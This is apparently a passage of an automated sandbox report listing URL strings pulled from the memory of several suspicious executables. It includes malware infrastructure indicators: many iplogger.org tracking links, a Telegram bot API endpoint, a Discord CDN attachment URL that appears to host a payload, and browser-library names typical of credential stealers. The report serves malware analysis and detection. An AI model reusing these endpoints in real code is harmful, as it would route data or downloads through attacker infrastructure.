Source: namdoitntn.exe, 00000013.00000002.926328708.0000000002B03000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.918068490.0000000003000000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.918068490.0000000003000000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.923446627.0000000002EB3000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: ordo_sec666.exe.1.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: ordo_sec666.exe.1.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: ordo_sec666.exe.1.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: em1B8DcC72.exe	String found in binary or memory: http://www.company.com/
Source: em1B8DcC72.exe	String found in binary or memory: http://www.company.com/83886080NewProduct000100NewProduct1NewProduct
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: mozglue.dll.16.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 31448762808696279021307573.21.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://accounts.google.com
Source: craw_window.js.3.dr	String found in binary or memory: https://accounts.google.com/MergeSession
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://android.clients.google.com
Source: em1B8DcC72.exe, namdoitntn.exe, 00000013.00000000.374306011.0000000000472000.00000002.00000001.01000000.00000007.sdmp, namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000000.387215652.00000000007F3000.00000002.00000001.01000000.0000000C.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000000.411195133.0000000000A13000.00000002.00000001.01000000.00000011.sdmp, ffnameedit.exe.1.dr	String found in binary or memory: https://api.ip.sb/ip
Source: SETUP_~1.EXE, 00000026.00000002.936440874.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, SETUP_~1.EXE, 00000026.00000002.935643354.0000000002D3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://apis.google.com
Source: real.exe, 00000015.00000002.881023621.0000000001063000.00000002.00000001.01000000.0000000A.sdmp, real.exe, 00000015.00000000.379314046.0000000001063000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://c.im/
Source: SETUP_~1.EXE, 00000026.00000002.912783596.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: SETUP_~1.EXE, 00000026.00000002.912546423.0000000002B78000.00000004.00000800.00020000.00000000.sdmp, SETUP_~1.EXE, 00000026.00000002.912783596.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1006526153294618657/1009394950338781266/2.0.2-beta_Nwjkxkwv.j
Source: 31448762808696279021307573.21.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://clients2.google.com
Source: safert44.exe, 00000017.00000002.889804892.0000000001364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: SETUP_~1.EXE, 00000026.00000002.910062673.0000000002B46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cutt.ly
Source: SETUP_~1.EXE, 00000026.00000000.507648577.00000000007B2000.00000002.00000001.01000000.00000019.sdmp, SETUP_~1.EXE, 00000026.00000002.905741068.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, SETUP_~1.EXE.29.dr	String found in binary or memory: https://cutt.ly/IXlgfrm
Source: ordo_sec666.exe.1.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: ordo_sec666.exe.1.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: ordo_sec666.exe.1.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://dns.google
Source: 31448762808696279021307573.21.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: F0geI.exe, 00000010.00000003.450878255.00000000007D2000.00000004.00000020.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.934759170.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.937747351.00000000031A3000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.929045080.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.931287871.0000000002CF2000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.932599013.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, 31448762808696279021307573.21.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 31448762808696279021307573.21.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://fonts.googleapis.com
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://fonts.gstatic.com
Source: real.exe, 00000015.00000002.881023621.0000000001063000.00000002.00000001.01000000.0000000A.sdmp, real.exe, 00000015.00000000.379314046.0000000001063000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://freebl3.dll
Source: brokerius.exe, 0000001B.00000000.401599963.0000000000924000.00000002.00000001.01000000.0000000D.sdmp, brokerius.exe, 0000001B.00000002.846627950.0000000000924000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://freebl3.dllmozglue.dllmsvcp140.dllnss3.dllsoftokn3.dllvcruntime140.dll
Source: EU1.exe, 00000020.00000000.414112277.0000000001233000.00000002.00000001.01000000.00000012.sdmp, EU1.exe, 00000020.00000002.853532518.0000000001233000.00000002.00000001.01000000.00000012.sdmp, EU1.exe.1.dr	String found in binary or memory: https://freebl3.dllmozglue.dllmsvcp140.dllnss3.dllsoftokn3.dllvcruntime140.dllsdkjfh134bjk1gh2
Source: craw_window.js.3.dr, craw_background.js.3.dr	String found in binary or memory: https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p
Source: em1B8DcC72.exe, 00000001.00000003.415087056.0000000002140000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AAh
Source: em1B8DcC72.exe, 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AAmX4
Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AAmX4/
Source: 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AAmX41AAmX4
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AAmX4s
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AAmX4z
Source: em1B8DcC72.exe, 00000001.00000003.415087056.0000000002140000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AEX
Source: em1B8DcC72.exe, 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AEmX4
Source: em1B8DcC72.exe	String found in binary or memory: https://iplogger.org/1AEmX40100https://iplogger.org/1ARmX40100https://iplogger.org/1AAmX40100https:/
Source: 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AEmX41AEmX4
Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AEmX46
Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AEmX4a
Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AEmX4f&j
Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AEmX4lG
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AEmX4p
Source: em1B8DcC72.exe, 00000001.00000003.415087056.0000000002140000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AF
Source: em1B8DcC72.exe, 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AFmX4
Source: 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AFmX41AFmX4
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AFmX47
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AFmX4D
Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AFmX4n
Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AFmX4v
Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AFmX4y
Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AFmX4~&R
Source: em1B8DcC72.exe, 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AGmX4
Source: 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AGmX41AGmX4
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AGmX4I
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AGmX4c
Source: em1B8DcC72.exe, 00000001.00000003.415087056.0000000002140000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AGx
Source: em1B8DcC72.exe, 00000001.00000003.415087056.0000000002140000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AJ
Source: em1B8DcC72.exe, 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AJmX4
Source: 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AJmX41AJmX4
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AJmX47
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AJmX4K
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AJmX4k
Source: em1B8DcC72.exe, 00000001.00000003.415087056.0000000002140000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AK
Source: em1B8DcC72.exe, 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AKmX4
Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AKmX41
Source: 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AKmX41AKmX4
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AKmX4o
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AKmX4s
Source: em1B8DcC72.exe, 00000001.00000003.415087056.0000000002140000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AR
Source: safert44.exe, 00000017.00000002.889804892.0000000001364000.00000004.00000020.00020000.00000000.sdmp, em1B8DcC72.exe, 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1ARmX4
Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1ARmX4&
Source: 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1ARmX41ARmX4
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1ARmX47
Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1ARmX4N
Source: em1B8DcC72.exe, 00000001.00000003.415087056.0000000002140000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AV
Source: em1B8DcC72.exe, 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AVmX4
Source: 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AVmX41AVmX4
Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AVmX4j
Source: em1B8DcC72.exe, 00000001.00000003.415087056.0000000002140000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AZ
Source: em1B8DcC72.exe, 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AZmX4
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AZmX4#
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AZmX4$
Source: 64957933493888110483826916.21.dr	String found in binary or memory: https://iplogger.org/1AZmX41AZmX4
Source: em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AZmX43
Source: em1B8DcC72.exe, 00000001.00000002.434262680.0000000000625000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AZmX4C:
